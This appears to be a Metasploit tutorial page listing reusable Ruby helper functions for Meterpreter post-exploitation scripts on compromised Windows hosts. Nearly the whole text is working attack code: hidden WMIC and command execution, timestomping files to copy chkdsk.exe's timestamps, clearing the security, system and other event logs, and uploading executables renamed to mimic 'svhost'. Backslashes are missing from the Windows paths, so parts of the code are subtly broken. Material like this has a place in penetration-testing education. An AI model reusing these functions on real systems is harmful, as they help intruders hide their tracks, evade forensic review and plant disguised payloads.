Useful Functions

Meterpreter Scripting

Let’s look at a few other functions which could be useful in building a Meterpreter script. Feel free to reuse these as needed.

Available WMIC Commands

#-------------------------------------------------------------------------------

def wmicexec(session,wmiccmds= nil)
        windr = ''
        tmpout = ''
        windrtmp = ""
        session.response_timeout=120
        begin
                tmp = session.fs.file.expand_path("%TEMP%")
                wmicfl = tmp + ""+ sprintf("%.5d",rand(100000))
                wmiccmds.each do |wmi|
                        print_status "running command wmic #{wmi}"
                        cmd = "cmd.exe /c %SYSTEMROOT%system32wbemwmic.exe"
                        opt = "/append:#{wmicfl} #{wmi}"
                        r = session.sys.process.execute( cmd, opt,{'Hidden' => true})
                        sleep(2)
                        #Making sure that wmic finnishes before executing next wmic command
                        prog2check = "wmic.exe"
                        found = 0
                        while found == 0
                                session.sys.process.get_processes().each do |x|
                                        found =1
                                        if prog2check == (x['name'].downcase)
                                                sleep(0.5)
                                                            print_line "."
                                                found = 0
                                        end
                                end
                        end
                        r.close
                end
                # Read the output file of the wmic commands
                wmioutfile = session.fs.file.new(wmicfl, "rb")
                until wmioutfile.eof?
                        tmpout >> wmioutfile.read
                end
                wmioutfile.close
        rescue ::Exception => e
                print_status("Error running WMIC commands: #{e.class} #{e}")
        end
        # We delete the file with the wmic command output.
        c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
        c.close
        tmpout
end

Change MAC Time of Files

#-------------------------------------------------------------------------------

# The files have to be in %WinDir%System32 folder.
def chmace(session,cmds)
    windir = ''
    windrtmp = ""
    print_status("Changing Access Time, Modified Time and Created Time of Files Used")
    windir = session.fs.file.expand_path("%WinDir%")
    cmds.each do |c|
        begin
            session.core.use("priv")
            filetostomp = windir + "system32"+ c
            fl2clone = windir + "system32chkdsk.exe"
            print_status("tChanging file MACE attributes on #{filetostomp}")
            session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)

        rescue ::Exception => e
            print_status("Error changing MACE: #{e.class} #{e}")
        end
    end
end

Check for UAC

#-------------------------------------------------------------------------------

def checkuac(session)
    uac = false
    begin
        winversion = session.sys.config.sysinfo
        if winversion['OS']=~ /Windows Vista/ or  winversion['OS']=~ /Windows 7/
            print_status("Checking if UAC is enaled ...")
            key = 'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem'
            root_key, base_key = session.sys.registry.splitkey(key)
            value = "EnableLUA"
            open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
            v = open_key.query_value(value)
            if v.data == 1
                uac = true
            else
                uac = false
            end
            open_key.close_key(key)
        end
    rescue ::Exception => e
        print_status("Error Checking UAC: #{e.class} #{e}")
    end
    return uac
end

Clear All Event Logs

#-------------------------------------------------------------------------------

def clrevtlgs(session)
    evtlogs = [
        'security',
        'system',
        'application',
        'directory service',
        'dns server',
        'file replication service'
    ]
    print_status("Clearing Event Logs, this will leave and event 517")
    begin
        evtlogs.each do |evl|
            print_status("tClearing the #{evl} Event Log")
            log = session.sys.eventlog.open(evl)
            log.clear
        end
        print_status("Alll Event Logs have been cleared")
    rescue ::Exception => e
        print_status("Error clearing Event Log: #{e.class} #{e}")

    end
end

Execute List of Commands

#-------------------------------------------------------------------------------

def list_exec(session,cmdlst)
    if cmdlst.kind_of? String
        cmdlst = cmdlst.to_a
    end
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
        begin
            print_status "trunning command #{cmd}"
            r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
            while(d = r.channel.read)

                print_status("t#{d}")
            end
            r.channel.close
            r.close
        rescue ::Exception => e
            print_error("Error Running Command #{cmd}: #{e.class} #{e}")
        end
    end
end

Upload Files and Executables

#-------------------------------------------------------------------------------

def upload(session,file,trgloc = nil)
    if not ::File.exists?(file)
            raise "File to Upload does not exists!"
        else
        if trgloc == nil
        location = session.fs.file.expand_path("%TEMP%")
        else
            location = trgloc
        end
        begin
            if file =~ /S*(.exe)/i
                       fileontrgt = "#{location}svhost#{rand(100)}.exe"
            else
                    fileontrgt = "#{location}TMP#{rand(100)}"
            end
            print_status("Uploadingd #{file}....")
            session.fs.file.upload_file("#{fileontrgt}","#{file}")
            print_status("#{file} uploaded!")
            print_status("#{fileontrgt}")
        rescue ::Exception => e
            print_status("Error uploading file #{file}: #{e.class} #{e}")
        end
    end
    return fileontrgt
end

Write Data to File

#-----------------------------------------------------

def filewrt(file2wrt, data2wrt)
        output = ::File.open(file2wrt, "a")
        data2wrt.each_line do |d|
                output.puts(d)
        end
        output.close
end